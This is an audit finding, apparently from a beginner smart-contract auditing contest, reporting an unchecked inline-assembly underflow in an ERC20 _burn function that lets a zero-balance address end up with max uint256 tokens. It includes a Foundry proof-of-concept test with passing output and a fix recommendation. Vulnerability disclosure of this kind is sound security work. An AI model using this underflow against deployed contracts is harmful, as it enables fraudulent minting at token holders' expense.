Token-0x

First Flight #54
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: medium
Likelihood: medium

Unchecked underflow in `_burn` allows arbitrary token minting

Author Revealed upon completion

Issue description

The internal function _burn in ERC20Internals.sol performs unchecked subtraction on both the _totalSupply and the account’s balance inside inline assembly, without verifying that the account has sufficient balance or that total supply is sufficient.

Because arithmetic in inline assembly is not checked (Solidity ≥0.8 overflow/underflow checks do not apply), calling _burn(account, value) when account has less than value tokens causes:

  • _totalSupply to underflow and wrap to 2²⁵⁶ - 1.

  • _balances[account] to underflow and wrap to 2²⁵⁶ - 1.

This breaks core ERC20 invariants:

  • An account can “burn” more tokens than it owns and end up with max uint256 balance.

  • Total supply is corrupted to max uint256, effectively acting like an unbounded mint.

Any external function (like Token.burn) that exposes _burn can be abused to mint an effectively unlimited number of tokens to an arbitrary address.

Proof of concept

Create a file called Token.t.sol and paste this poc in it:

function test_burnUnderflowExploit() public {
address attacker = makeAddr("attacker");
// Initially no supply and no balance for attacker
assertEq(token.totalSupply(), 0);
assertEq(token.balanceOf(attacker), 0);
// Exploit: burn from an address with zero balance
token.burn(attacker, 1);
uint256 attackerBalance = token.balanceOf(attacker);
uint256 supply = token.totalSupply();
// Both values have underflowed to max uint256
assertEq(attackerBalance, type(uint256).max);
assertEq(supply, type(uint256).max);
}

Run with forge test -vvv --mt test_burnUnderflowExploit

Logs

[⠊] Compiling...
[⠒] Compiling 7 files with Solc 0.8.30
[⠢] Solc 0.8.30 finished in 49.35ms
Compiler run successful with warnings:
Warning (2072): Unused local variable.
--> test/Token.t.sol:112:9:
|
112 | address receiver = makeAddr("receiver");
| ^^^^^^^^^^^^^^^^
Ran 1 test for test/Token.t.sol:TokenTest
[PASS] test_burnUnderflowExploit() (gas: 56347)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.75ms (347.29µs CPU time)
Ran 1 test suite in 106.07ms (2.75ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommendations

Consider adding balance and supply checks in _burn before subtraction.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!